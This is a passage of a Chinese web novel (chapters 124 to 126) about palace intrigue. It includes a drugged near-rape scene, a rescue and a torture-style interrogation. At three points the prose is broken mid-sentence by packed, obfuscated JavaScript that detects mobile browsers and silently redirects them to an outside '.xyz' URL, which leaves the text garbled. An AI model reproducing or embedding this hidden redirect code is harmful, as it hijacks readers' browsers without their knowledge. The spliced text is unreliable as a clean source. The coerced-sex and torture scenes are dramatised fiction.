她咬了咬牙,再次握紧了七节鞭,看着一步步朝她走来慕容清,她扬起七节鞭不料却被慕容清一把带进怀里,“你不如跟了朕,做这北襄的皇后。” 陌生的气息令她紧紧挽了黛眉,“放开我!拿开你的脏手!” “性子够烈,朕喜欢!”慕容清拦腰抱起了安文夕,大步跨向内室。 “北宫喆拥有的江山、美人,朕都要一一夺回来!”慕容清狠绝的话飘荡在空荡冷清的大殿内。 欢凉匆匆赶回了安景晟所在的客栈,急急地敲响了他的房门。 “进来。” “世子,大事不好了,公主被北宫喆带走了,这可怎么办?” 安景晟抬眸看来,神情依旧闲淡,“你不必担心,夕儿是被北宫喆带走了,又不是慕容清,能有什么事情?”他想那北宫喆爱她还来不及,怎么会舍得伤害她? 欢凉看着安景晟一副闲淡的模样,心中一阵窝火。公主为了他,连命都可以不要,他听见公主被北宫喆带走的消息就这么无动于衷么?北宫喆是爱着公主,可是谁知道他的爱有多深,公主现在是谋着他的命,祸着他的江山,他难道还依旧能够容得下公主么。 她咬了咬牙道:“欢凉怎么能不担心,公主这夏宫这半年,差点搭上半条命,旧伤未愈便添新伤,晟世子难道怕了那北宫喆,不敢去救公主么?” “欢凉,你放肆!”安景晟眸光一凛,“你在夕儿面前也是如此不分尊卑么?” “我……”欢凉单膝跪地道,“欢凉知错,欢凉也是太担心公主,请世子责罚。” “自己去门前跪上一个时辰!” “世子,公主她……” “静观其变,你老实等结果便是,我保证不会让夕儿出事!” 欢凉咬了咬唇,一步步退出房门,身后再次传来安景晟的声音道:“切记不可轻举妄动,否则只会连累了夕儿!” 欢凉脚步一滞,应声道:“欢凉知道了。” 待欢凉一走,华静香慵懒的靠在安景晟怀中道:“你真的要从南昭调兵?” “不,南昭路途遥远,就是调回了兵马,沐阳一战早就结束了,势必会来不及。” “哦?难道我们就在这里干等着,让慕容清和北宫喆相争?” 安景晟微微点头,“夕儿说得对,鹬蚌相争,渔翁得利。而且据我所知,夕儿在凤青轩还有一批人马,相信她会将这些人交给我。” 华静香嘴角微勾,纤柔的靠在安景晟胸膛上,长而卷的睫毛轻垂,掩去眼底一闪而过的厉色。 袭匀急急忙忙赶来,却看到欢凉跪在房门处,不禁气的跳脚,“我说你是不是傻,他让你跪你就跪,你的主子是公主,不是他安景晟!” “晟世子也是欢凉的主子。” 袭匀无语的翻了个白眼,从地上将欢凉一把拖起,“走,不跪了,谁爱跪谁跪!” “袭匀,你放开我!” “不放,我不允许你这么作践自己。”袭匀不由分说的将她拉近了他的房间。 “你不想救小师妹了?” “想,可是晟世子说让我等。”欢凉抿了抿唇。 “嘿,我说,今天你的脑子被狗吃了?他让你跪你就跪,他让你等你就等?想救小师妹,跟我走!”袭匀一把拉着欢凉出了客栈。 半个时辰后,欢凉猫着身子警惕的盯着前方的军营,蹙眉道:“这就是你说的办法?” 偷溜进军营也就算了,还偏偏找了个侍卫巡逻最多的地方,欢凉恨不得直接将他丢出去。 袭匀讪笑道:“这不是来得匆忙么。” “嗨,小丫头!”月清绝不动声色的从欢凉身后一把将她捞了下来。 “喂喂喂,你这个人怎么鬼鬼祟祟的躲到我们身后,你不知道人吓人吓**么?”袭匀一跃而下道。 “到底是谁在这里鬼鬼祟祟,难不成你们想偷窥军中机密?”月清绝双眸不停地在袭匀和欢凉身上打量着。 “我们来找公主。” “她不在这里。” “不在?你骗谁呢。” 月清绝冲袭匀翻了个白眼,转眸对欢凉道:“小丫头,别整天在脸上蒙着**,不透气!”早在枫月谷,他就已经识别了她的身份。 “月公子,你说公主不在这里?”难道公主自己逃了出去,她相信这里绝对困不住公主。 “她去找慕容清拿解药,估计现在差不多该到沐阳了。” “什么?”欢凉惊呼道,公主怎么这么冲动,那慕容清根本就是无耻小人,怎么可能能从他的手中拿回解药? “是不是北宫喆对公主说了什么?”一定是北宫喆激怒了公主! 月清绝耸了耸肩道:“本公子怎么知道他们两口子之间发生了什么。”要是个让北宫喆那小子发现他敢偷窥,非扒了他的皮不可。 欢凉眸光一敛,对袭匀道:“备马,走!” 月清绝立即拉住了她道:“你这个小丫头笨**,皇上都去了,还用得着你去,你就是去了,在那里也帮不了什么忙,还是老实的呆着这里等着……” “袭匀,走!”欢凉直接打断了月清绝。 袭匀身形一闪,带着欢凉直直掠了出去。 “喂喂,我说,好不容易来了,干嘛走这么快?”月清绝看着欢凉的背影道。 —— 青华宫内。 慕容清洗浴完毕,拨开一层层厚厚的床幔,看到埋在被子里的小人儿,他抬手解了她的穴道,勾唇道:“朕向来不强迫女人。” 此时,安文夕脸色绯红一片,感觉整个人如同跌进云端一般,四肢瘫软的像一团棉花,脑袋晕成了一滩浆糊,唯一清醒的便是身体内不受控制的欲望。浑身燥热难耐,那一步步攀升的欲望夹带着阵阵热浪朝她席卷而来,几乎要将她全部吞噬,仅有的一点意识也逐渐湮灭。 慕容清颇有兴致的一点点揭开她的腰带,“既然这么热,脱了就好了。” “不,不要!”安文夕下意识的躲避。 “你会喜欢的,一会你就求着朕来满足你了。” 安文夕慌乱的避开他的大手,这种陌生的气息令她心中不安。 慕容清嗤笑一声:“难不成你还想为北宫喆守身如玉?”说着一把将安文夕身上的外衫一把撕烂。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16413724|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “不,九哥哥!”安文夕蓦地睁开眼睛。 九哥哥?慕容清手中的动作一滞,随即厉声道:“朕真是没有想到有着国恨家仇,你还爱着他!” “九哥哥,九哥哥,救我……” 他手中的动作越发的残暴,粗鲁的扯下她的中衣、里衣,没想到她的内心深处对他竟然如此依恋,在她意识模糊之际,还叫着他的名字! “朕是慕容清,叫着朕的名字!”他大力的捏着安文夕的下巴,巨大的疼痛令安文夕眼中恢复了一瞬间清明。 握了握拳,却发现身子早就软成了一滩春水,拳头砸在慕容清身上仿佛是在拂痒一般。她的脑子逐渐混沌起来,慕容清的脸也变得模糊。安文夕咬着下唇,嘴腔内弥漫着浓郁的血腥,刺激着她的大脑阵阵清明。 “朕让你叫朕的名字!”慕容清敛着眉怒道。 安文夕使出全部的力道,提脚踹向慕容清的胯下。 慕容清脸色顿时一变,若不是她现在中了**,使不出力气,估计他这辈子就给废了,这个女人竟然如此歹毒! 大手一挥,安文夕身上贴身的里衣也被慕容清扔下了床榻,她浑身的血液一寸寸凉了下去。 慕容清看着她身上的亵衣亵裤,刚想一把扯下,突然却改变了注意,双手开始在她的身上游走,不断地挑起她的**。 “你所中的一沾娇霸道至极,若是不行房事便七孔流血而亡,朕倒要看看你还能撑多久!” 慕容清眼底有抹阴狠,他要这个高傲倔强的女人求他,迫不及待的在他的身下屈意承欢! 安文夕死死地咬着下唇,拼命的抑制着身体内那几乎要将她吞噬的欲望,眼底血红一片,在她的意识模糊之际,她的心里竟然渴望无比着那个人的到来。 蓦地,安文夕鼻头一热,殷红的鲜血汩汩流了出来,慕容清顿时一滞,他知道此时已经到了极致,没想到这个女人竟然可以忍到这一步。 慕容清伸手去脱安文夕身上的亵衣亵裤,眼底渐渐染上一层欲望。 这时,在他无暇注意的身后悄无声息的冒出了一个人影,那人扫了眼床上的场景,双眸一凛,抬手砸向慕容清的后颈,随即一把封住他的穴道,将他扔到床下,力道之中带了分狠戾。 慕容清为了不让人打扰,特地吩咐不许别人靠近他的寝殿,才让北宫喆轻松的来到了内殿。 “夕儿,我来了,九哥哥来了。”北宫喆摸了下安文夕的肌肤,烫的吓人,黑瞳骤缩,飞快的从怀中取出手帕,将安文夕的鼻血擦拭干净。 这一刻,安文夕看着身侧那道略有些模糊的身影,她在心中堆砌的高墙顿时坍塌,他终于来了,她的心蓦地一松。 她对自己道,这是她的九哥哥,不是北宫喆。 北宫喆吻了吻被她咬的不成样子的嘴角,心中陡然一软,她竟然一直都在等着他的到来,心顿时被温暖填满。 “夕儿,朕这就给你。” 安文夕在北宫喆脱衣之际,扯过脖子里的平安扣,舌尖舔了下被她放在里面的相思蛊的解药。 然后,她感觉身体上方那道身影俯身下来,温柔的吻着她的唇。 第124章 一切有他 第一百二十四章一切有他 北宫喆,虽然这个手段很卑鄙,但是我别无选择,我必须要解去相思蛊!安文夕热切的回应着他,感觉自己彻底被体内叫嚣着的热浪所吞噬,她只知道她现在渴望得到更多。 相思蛊解药的异香被安文夕嘴里浓郁的血腥所掩盖,北宫喆浅浅吸允着她的甜美,半晌,像是察觉了什么,他微闭着的双眸刹那间睁开。 看着身下脸色潮红,身子软成一滩春水的女子,北宫喆眸光一敛,眼底划过一抹痛色。 安文夕,在这个时候、在你意识清醒的刹那你所想的还是一步步算计朕么? 朕明明在你的眼中看到了渴望,为什么还要这样做? 既然你这么想解了这相思蛊,那就随你吧! 朕的心累了…… 随即北宫喆的大手霸道的扯下她身上所有的衣物,欺身而上,抵死缠绵,重重叠叠的床幔掩去了一室旖旎。 欢凉和袭匀快马加鞭匆匆赶来了沐阳,此时天色已晚,西边的红日渐渐沉入山头,只余下了天边璀璨耀目的云霞。 青华宫外高高的城墙将宫内的景色全部遮掩,城外外面四下巡逻的侍卫和平常无异,欢凉和袭匀轻车熟路的翻进青华宫。 由于上次来过青华宫,他们二人对这里的路径并不陌生,翻身跃下屋檐,脚步轻盈的掠在下面的鹅软石上,步子细碎而迅捷,一路过去,并无半点声响。 他们每走一处都小心的避开了宫内的侍卫,待靠近了主殿,袭匀猫着身子拉住了身侧的欢凉。 “这里隐在暗处的暗卫大略有五十人左右,单凭他们的气息,个个都是数一数二的高手,你我根本不可能从他们的眼皮子底下溜进主殿。” “不如我们来个调虎离山。” “这么多只虎,怎么调?” 欢凉拧眉,“那你说怎么办?” 袭匀薄唇一勾,淡道:“老办法,偷梁换日。” 一刻钟后,袭匀和欢凉换好了两个小太监的衣服,将地上的两个小太监封了穴道,然后提了御膳,缓步走进主殿。 “站住!”背后突然传来一阵清冷的女声令欢凉顿时心中一颤。 秋月一步步走近,沉声道:“不是说了晚一个时辰再送晚膳么?” 欢凉握紧了手中的食盒,这运气真是背到家了! 听到秋月的声音,袭匀觉得他刚刚痊愈的肩膀似乎又疼了起来,真是恨不得将这个伤了她的女人扔出去。 “先撤下去吧。” 欢凉和袭匀刚想转身,秋月冷冷的声音再次传来,“都把头抬起来!” 秋月紧紧锁住二人,她突然觉得这两个人有些奇怪。 欢凉和袭匀交换了下眼神,然后在抬头之际,一把抽出长剑,刺向秋月。 “有刺客!”秋月身子急急后退,身侧避过剑锋,长剑出鞘,立即和袭匀缠斗了起来。 欢凉看了他一眼,咬了咬牙,转身掠进内殿。 她身形一动,顿时从四面八方涌进数十个黑衣暗卫,齐齐拦住了她的去路,这架势,就是连蚊子也别想靠近主殿一步。 完了,计划失败! 欢凉和袭匀背靠着背,警惕的打量着四周。 “臭丫头,实施第二步计划!”袭匀对欢凉传音入密道。 欢凉眸光一沉,一把扯下身上的太监服,攀着袭匀的肩膀一跃而起,身子一翻,裙角随着她的动作而摆,一抔面粉顿时弥散开来,模糊了众人的视线。 “走!”袭匀趁乱抱着欢凉跃出了包围层。 “不好,有毒!” “咳咳……” 众人猝不及防,将面粉吸进鼻子里,引起一阵阵剧烈的咳嗽。 “是面粉!”确认不明粉末为面粉之后,众人稍稍放下心来,刚想运起内力,却发现只要用力,胸肺就火辣辣的疼,而且只要运力,内力就一点点的流逝。 那面粉根本就是毒粉! 秋月目光一凛,对着上方厉声道:“拦住他们!”然后她身形一闪,进了主殿。 此时,一番云雨之后,北宫喆又爱又恨的看着怀中睡熟的女人,忍不住在她的红唇上啄了一口,久久的舍不得松开她。 夕儿,你说,朕该拿你怎么办? 听到一阵轻浅的脚步声,北宫喆黑瞳蓦地一缩。 秋月远远的确认了一眼里面没有动静,再看了眼地上被撕烂的衣物,眼底飞快的闪过一抹落寞,抬脚欲走,肩胛处突然一痛,紧接着身子一僵,她再也迈不动脚步。 她被点穴了! 秋月警觉地打量着厚厚的床幔,想要透过它一探究竟。 到底是怎么回事,皇上不是在里面么,怎么会点她的穴道? 难道…… 秋月刚想大喊有刺客,却发现她的嗓子竟然发不出来任何声音,她的心蓦地一沉,一种不好的预感在她的心里肆意蔓延。 北宫喆卷起凌乱的衣物迅速的穿戴整齐,然后摇了摇安文夕的身子道:“夕儿,赶紧醒醒,朕带你回去!” 安文夕睁开迷离的睡眼,只觉得身子沉得厉害,由于中了**的缘故,她被欲望所控,一度放纵自己,任他肆意索欢,而现在双腿发酸,十分疲倦。 看着北宫喆一脸凝重,安文夕接过他递来的衣服赶紧穿好,顾不得浑身酸痛赶紧下了床,看着被定在不远处的秋月,顿时明白了什么。 “你,能走么?”北宫喆眼神略略有些担忧。 刚才的她,太过热情,他怕她太劳累。 “可以。”安文夕抿了抿嘴角。 北宫喆看了她一眼,不由分说揽住她的腰身,刚走了几句,听到外面的打斗,遂又折了回来,一把从床下将慕容清捞起,提着他再次出了寝殿。 秋月看着被北宫喆拖走的慕容清,心顿时沉到了谷底。北宫喆他是如何进来的,为何他们一点都没有惊觉? 秋月运气内力,想强行将穴道冲破,可是出乎意料的是这种点穴手法奇特,她根本就冲不开,此时她甚至连声音都发不出来,她的双眸一点点灰败下去。 主殿外,欢凉和袭匀正在勉强死撑,身上已然挂了彩,不少细碎的伤口此时正在流血。凭他们二人之力,根本就不可能对付得了慕容清的这几十个暗卫。 安文夕看着受伤的二人,黛眉轻挽,喊道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16413725|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“欢凉,袭匀!” 众人听见她的喊声,手中的动作一顿,皆向她看来。 “小师妹!” “公主!”欢凉心中顿时一喜,顺着视线看去,公主身侧的北宫喆眉宇冷煞,手中提着的男人不正是慕容清么? “皇上——” “都给朕住手,不然朕这就杀了他!”北宫喆锐利的双眸扫了眼众人,眼底的冰霜令人不寒而栗,那份与生俱来的帝王自尊让人没由来的心中一颤。 欢凉和袭匀立即一左一右的护在了安文夕身侧。 袭匀扫了眼身上的伤,沉声道:“将你们手中的刀剑放下!”这些人竟然在他身上留下了这么多伤口! “走!”北宫喆一手提着慕容清,一手揽住安文夕,身形一跃而起。 “慢着,放开皇上!” “等我们安全了,自然就会放了他!” 刚才的那人对其他人使了个眼色,众位黑衣暗卫立即将他们团团围住。 “劫持皇上,其罪当诛!” “呵……”北宫喆冷蔑的掐着慕容清的脖颈,“你们若是再往前一步,朕就折断他的脖子!” 北宫喆话音一落,周遭顿时寂静一片,他的手劲很大,众人甚至能够听到清晰的骨头错位的咯咯声。 “皇上——”不少暗卫齐齐上前。 为首的那人抬手止住了众人的动作,咬牙道:“都不许动,放行!” 因为挟持着慕容清,北宫喆一行人轻松地出了青华宫,在宫门口处,北宫喆带着安文夕翻身上马,将手中的慕容清一把扔给了袭匀。 袭匀嘴角一抽,怎么都拿他做奴隶使?他无奈的将慕容清扔上马背,然后利索的上了马。 突然,城墙上寒光一闪,一支支泛着冰冷光芒的箭头对准了众人。安文夕只觉背脊一寒,立即回过头来,才发觉城墙上已经摆满了密密麻麻的弓箭。 “放!” 一时间,他们头顶上方顿时下起了一阵箭雨。 妈.的,这群人根本就不知道信用是什么!一群出尔反尔的小人! 安文夕正欲抽出腰间的七节鞭,身后的男人一把将她提到他的身后,紧紧的护在了她的身前,为她挡去了所有的羽箭。 心不受控制的狂跳了两下,慢慢浮出一抹暖意,她好像越陷越深了,真是剪不断理还乱! 安文夕咬了咬牙,甩出七节鞭,形成一道屏障,将前方的羽箭全部当在鞭外。 北宫喆双眸一敛,厉声道:“你来瞎逞什么能,老实的待在朕的身后。”他一一接住射下来的羽箭,然后将手中的箭全部掷向城墙,中箭的几人顿时跌下高高的城墙,发出一声声砸地的闷响。 这一幕,仿佛回到了从前,在他面前,她可以不强大,可以什么都不管,只因为一切有他。 欢凉由于身上有伤,应对起来,微微有些吃力,蓄满力气的羽箭擦过她握剑的胳膊,凌厉的箭锋带来一阵冷煞寒气。 袭匀大呼道:“小心!”他现在根本无暇去帮欢凉,心中涌出一阵焦急,一把将马背上的慕容清提起,挡在自己的身前,怒道:“奶奶的,有本事你往这里射!” 第125章 阶下之囚 第一百二十五章阶下之囚 他摸出**飞快的划破慕容清的脖子,流下一抹殷红的鲜血。 “将本公子逼急了,本公子就先宰了他!” 袭匀这一声如同在寂静的夜色中炸开了一记惊雷,城墙上顿时停止了放箭。 不远处传来阵阵急切的马蹄声,一道若隐若现的身影在漆黑的夜色中疾驰而来,而他身后,马蹄声声如雷,仿佛带了千军万马而来。 离得近了,众人才认了出来,来人正是风将军风明,他翻身下马,单膝跪在北宫喆面前道:“微臣救驾来迟,请皇上恕罪!” “起来吧。” 风明起身望了眼城墙,对着身后道:“弓箭手准备!” 因为脖子疼痛而转醒的慕容清眸光掠过满面冰霜、目光清冷的北宫喆时,微微一惊,他怎么在这里?慕容清不动声色看着眼前的这一幕,脑袋飞快的转了起来,立即明白自己这是被劫持了。后脑勺钝钝的有些疼意,浑身僵硬,根本动弹不得。 城墙上方的主帅看着下方整齐划一的弓箭手,一时犹豫不决,皇上在他们手中,有了刚才那一幕,此时,他再也不敢轻举妄动。 显然,下方的人根本没有给他留下思考的时间。 北宫喆厉声吩咐道:“回营!” 风明早就在沐阳扎营安寨,夏军大营离此处不过十里的距离,骑马最多半个时辰。 袭匀看着躺在马背上对他咬牙切齿的慕容清,嗤笑一声,抬手便要砍向他的后颈。 慕容清咬牙,“你敢动朕试试?”真是虎落平阳被犬欺,他堂堂北襄六王爷、如今又是一国之尊,何时受过这样的窝囊气? 袭匀早就看不惯他了,现在都落在他手上了,还拽个什么劲,抬手砍向他的后颈,然后扯下腰带,将他的双手紧紧的绑了起来。 那位主帅看着众人策马而去的身影,无奈的握了握拳,对身后道:“秋月大人呢,快去通知秋月大人去救皇上!” 到了军营,袭匀将慕容清重重的丢下了马,然后将他提进了营帐内。 北宫喆将安文夕抱下了马,然后引着她进了营帐,安文夕看着地上躺着的慕容清眼底闪过一抹厌恶,她本来就打算绑了慕容清,逼着他拿出解药,没想到他竟卑鄙到给她下药! 不待北宫喆吩咐,她便直接道:“用凉水让他清醒清醒。” 一旁的侍卫顿时一愣,北宫喆立即怒斥道:“照她吩咐做。” 一盆冷水下去,慕容清立即睁开了双眼,冰凉的水顺着他的发梢汩汩流下,样子极为狼狈。 慕容清像是忍受着巨大的侮辱,双眸盛满了怒意,额头上因为过度愤怒而青筋暴露。 “北宫喆,我是不会放过你的!”然后他阴鸷的眼风扫向安文夕,“迟早有一天,你的江山,你的女人都是我的!” 北宫喆蓦地想起了今天的事情,若是他晚来一步,后果真是不堪设想,他倏地握起双拳,重重的砸向慕容清。 “好了!”安文夕立即出声制止,她的双眸锁住慕容清道:“我问你,解药呢?” 慕容清轻蔑的扫了她,然后扭过头去。 安文夕嘴角微勾,从腰间摘下一个极小的竹笼,取出里面的小青蛇,然后慢慢的将它叫醒。 她一直随身带着小青蛇,不过由于小青蛇冬季绝大部分的时间都在冬眠,故而她一般不怎么去打扰它。 可是今天,她突然觉得小青蛇睡了这么久,似乎该进食了! 慕容清看着安文夕手心中盘城一团的青色的小东西,心中顿时一寒,浑身如同被滑腻湿寒的东西爬过一般,心头涌出一阵毛骨悚然。 “不说么,我就想办法让你说。”安文夕随意的摆弄着手中的小青蛇,小东西长长的蛇尾绕着安文夕小指玩的不亦乐乎。 “你知不知道,这条竹叶青最喜食人血,最喜欢享受从人的皮肤下面破体而出的快感,你要不要试一下呢?”安文夕扯过他的手腕,拿出**一下下的比划着。 北宫喆看着安文夕抓着慕容清的手腕,双眸内掠过一抹淡淡的不悦。 “从这里一刀切下,然后将它埋进去,想必它一定很喜欢。”安文夕嘴角挂着丝魅人的笑,明明是那样的明艳,却让人感到寸寸寒凉。 “安文夕,你敢——” 慕容清不曾想到眼前的女人竟然如此歹毒,此时恨不得将她**万段! “还是不说么?”安文夕说着手起刀落,飞快的在慕容清手腕处划开了一道血口,她没什么不敢。攀在她手腕上的小青蛇闻道血腥味,急不可待的爬动着身子,朝那抹血红而去。 小东西欢喜的先是吐着信子舔舐着溢出的鲜血,然后伸出牙齿想继续咬破他的肌肤,钻进他的血肉,安文夕见机立即捉回了小青蛇。 那滑腻的触感令慕容清一阵恶寒,当看到小青蛇那鲜红的信子,心中的信念顿时坍塌。 “解药在我手上这枚扳指里面。”慕容清看到那小东西脱离了自己的肌肤,顿时松了口气。 北宫喆从慕容清右手拇指上摘下那枚玉质扳指,摩挲了一周,按住机关将扳指拆开,这扳指果然是空心的,里面赫然躺着一粒黑褐色的药丸。 “慢着,这里有不洁的河水么,就是使百姓染病的水?” “有,属下这就给……给娘娘取回来。” 看着安文夕嘴角噙着的笑意,慕容清双眸骤缩,顿时明白了她的意思。 北宫喆看着面前的女人笑得像个狐狸,他心中微微泛出暖意,幸好她从未用这些招数对付过他。 “安文夕,你放肆,不要再挑战朕的底线!”慕容清看着安文夕手中的水怒吼道。 “你如今不过是朕的阶下之囚,还有资格说不么?”北宫喆讥道。 慕容清蓦地一滞,却只能眼睁睁的看着安文夕朝自己走来。 “谁知道你给我的解药是真是假?你向来狡诈多变,不拿你试试又怎能知道?” “我何时骗过你!” “何时?”安文夕忍不住嗤笑一声,这个人的脸皮真不是一般的厚。 “夕儿,给我。”北宫喆从安文夕手中将水接过来,一把捏住慕容清的下巴,一股脑的灌了下去。 “咳咳……”慕容清眼底迸出一抹浓烈的杀意。 北宫喆、安文夕,他绝不会放过他们,竟敢这么对他!< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16421691|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“先观察一晚上,明日你若是得了瘟疫就给你用你的那粒解药,我只相信你身体的反应。”安文夕勾唇。 “夕儿,已经很晚了,你先去睡吧。”北宫喆看着她道。 安文夕略略一惊,她要去哪里睡? “朕带你去,走吧。”北宫喆牵起她的手。 当触到他的手,安文夕脸上蓦地一烫。想起刚才的缠绵,脸色越发发绯红,尽管她几乎完全不记得,但身体的酸胀提醒着她的热情,她的主动。 慕容清看着二人相携而去的背影,双眸中血红一片,眼底恨意肆意翻涌。给与他这样羞辱的人,都得死,都得死! 北宫喆出了营帐唤来风明道:“增加守卫,务必看紧他!” “是!”风明立即应是,抬头看了眼安文夕,心中暗道,果然是瑾淑妃,刚才的时候来得匆忙,根本没有看清。 “皇上和瑾淑妃的营帐在这里,皇上请随微臣来。” 安文夕看着风明,微微一滞,手心却冷不丁的被人狠狠捏了一下,然后那人将她的手握的更紧了,拉着她往前走。 到了营帐后,安文夕抿了抿唇,对北宫喆道:“我想洗个澡?” 如今干净的水源缺失,就是吃水都是个问题,更别说洗澡了。 安文夕也知道这一点,可是经过刚才那场云雨,她的身体酸楚不堪、粘糊糊的一片,实在难受的厉害。 北宫喆扫了她一眼,然后掀开帐帘,对外面吩咐道:“去准备洗澡水,朕要沐浴。” 营帐外面的侍卫冒着触怒龙颜的危险,咬了咬牙道:“启禀皇上,军中清洁的水勉强只够明天的饮用了,只怕……” “去准备一下,朕要沐浴。”北宫喆再次说道。 “皇上……” 安文夕将外面的对话听得清清楚楚,立即跑过去,一把将北宫喆拉了回来道:“我不沐浴了,睡觉吧。” 北宫喆眼底飞快的划过一抹笑意,任由她拉着走向床榻。 安文夕看着身后的男人,抿了抿嘴角道:“我睡里面,你睡外面。” “好。”北宫喆一口答应。 安文夕甩开他的手,将鞋袜褪掉,直接和衣睡在了里侧。 北宫喆随即一一褪下身上的衣物,挨着她睡下,一把揽住她,大手将她身上的衣物一件件褪下。 安文夕一阵惊呼,立即弹坐起来,紧紧的抓住身上的衣服。 “穿这么多衣服睡不舒服,朕不动你。”北宫喆敢想扯下她的衣物,她立即侧身避开他的手。 “朕何时强迫过你?” “你强迫我的还少么,在青末山庄那次……” “你难道不知道朕为什么强迫你么?” 他强要了她,是因为他在生气,他生气她竟然要和楚君昱一起去西楚。她是他的女人,还妄想招惹其他的男人! 安文夕咬住了下唇,握了握拳道:“你走开,我自己来。” 本以为她会发火、排斥他,结果没有,她温顺的如同一只小绵羊一般,老实的躺在他的身侧,就连他将她拥在怀里,她都没有反抗。只一会工夫,她便沉沉睡去,想必这一日奔波早就累坏了。 第126章 朕不拦你 第一百二十六章朕不拦你 第二日一早,安文夕醒来,却发现身旁的男人将她紧紧的拥在了怀中,她蓦地一惊,昨晚不是分好了位置么,为何他不守约定? 察觉到身下小人儿的动静,北宫喆睁开眼睛道:“你醒了?” 安文夕微微往里挪动了一下,咬了咬唇,“现在可以放开了我吧。” 出乎意料的是北宫喆真的就收回了手,半晌幽幽的来了句,“昨晚,是你自己往朕怀里钻的。” 什么?安文夕睫毛倏地一颤。 “你看,朕都快被你挤下去了。” 安文夕抬眸扫了眼,自己身子里侧果然空着一大片的位置,而北宫喆睡在床榻的边缘,并且稍不注意就会翻下床去,难道是自己昨晚睡得太沉的缘故么? 安文夕抿了抿嘴角,不动声色的往里挪了挪身子,然后一下子翻过身去,不去看他。 “呵……”北宫喆浅浅低笑一声,看着她这幅难得的可爱的小模样,恨不得将她紧紧的禁锢在怀中。 他慢慢凑到安文夕身侧,飞快的在她的脸颊上落下一吻,然后翻身下榻。 柔软的触感令安文夕心中一滞,猛然回头,却发现北宫喆已经穿好了衣服,回头脸色淡然的对她道:“你多睡会,一会用早膳的时候,朕再来叫你。” 北宫喆走后,安文夕再也睡不着,披衣起身,洗漱完毕出了营帐。 欢凉和袭匀早早的起了床,看见她出来,立即迎了上来道:“公主,你一直没有出来,我们也不敢进去打扰你。” “你们身上的伤如何了?” 袭匀淡道:“不过是些皮肉伤罢了,你师兄我可是纯爷们!” “慕容清那里怎样了?”安文夕边走边问。 “欢凉不知,北宫喆已经过去了。” “那咱们也赶紧过去吧。”安文夕率先迈动了脚步。 营帐内,慕容清双目血红,嘴唇干裂脱皮,脸色有些发黑,整个人看起来都有些浮肿,这些正是瘟疫的初期症状。他有气无力的躺在地毯上,恨恨的看着一旁的北宫喆,注意到她进来,眸光更加怨恨起来,只是现在的他虚弱不堪,就连眸光也少了分锐利。 “看他的样子像是得了瘟疫。” 北宫喆点点头,“已经给他吃过药了,现在就静观其变。” “我想那药应该是真的没错。”安文夕看了眼慕容清道。 慕容清几不可见的哼了一声。 “你赶紧出去吧,这瘟疫会传染的。” “好。”安文夕应了一声。 刚走两步却被北宫喆牵住手道:“差不多也该用早膳了,朕陪你一起去吧。” 安文夕没有同意,但也没有从他的手中挣脱出手,这对北宫喆而言,无疑是默认了,他顿时心情颇好的微微扬起了嘴角。 欢凉略略有些惊讶的看着牵手的二人,难道公主还是忘不了他么? “走吧。”袭匀提醒了一下她。 “公主她……”欢凉咬了咬唇。 袭匀叹了口气,“唉,其实她一直都放不下北宫喆,却偏偏欺骗自己,用仇恨麻痹自己,然而她始终都不能控制自己的心呐,否则,她也不用这么痛苦了。” “可是,公主她不能和北宫喆在一起啊,他们之间隔着血海深仇啊!” “你这个傻丫头,爱情无关其他,一旦心动,即便是家国之仇也阻止不了他们彼此爱上对方。”袭匀嘴角噙着淡笑,目光深邃,说着突然停下了脚步,伸手将欢凉抵在一旁的大树上,一瞬不瞬的盯着她的眼睛道:“丫头,这么多年,你难道不明白师兄对你的心意么?” 鼻翼之间萦绕着他的气息,就如那晚在潇湘馆一般,让人避无可避。欢凉脸颊蓦地一红,一把推开他,咬牙道:“我要去吃早饭了。”然后逃离一般的跑开了。 袭匀看着她的背影有些寂寥的扯了扯嘴角,明明都是聪慧的女子,为何却总是逃避自己的内心呢? 平常勇敢到危险之时连命都可以不要,却偏偏在这里选择了退缩。 冬日一过,月清绝便开始摇起了他的羽扇,此时脸上带着些不悦绕道袭匀身后,将羽扇一合,在他的肩膀上狠狠的敲了一下。 “我说你这个人真是卑鄙,趁着我不在竟敢骚扰小丫头,你看,人都被你吓跑了。” 袭匀凉凉的瞥了他一眼,转身欲走,衣袖却被人拉住,只听月清绝拧着眉道:“本公子告诉你,小丫头是我的,你别总是动手动脚的,我看在你是她师兄的份上,以前就不和你计较,以后若是再让我看到……” 月清绝还未说完,袭匀忍不住嗤笑一声,勾唇道:“请问你是她什么人,管得倒宽,我们师兄妹的事情不用你插手!” 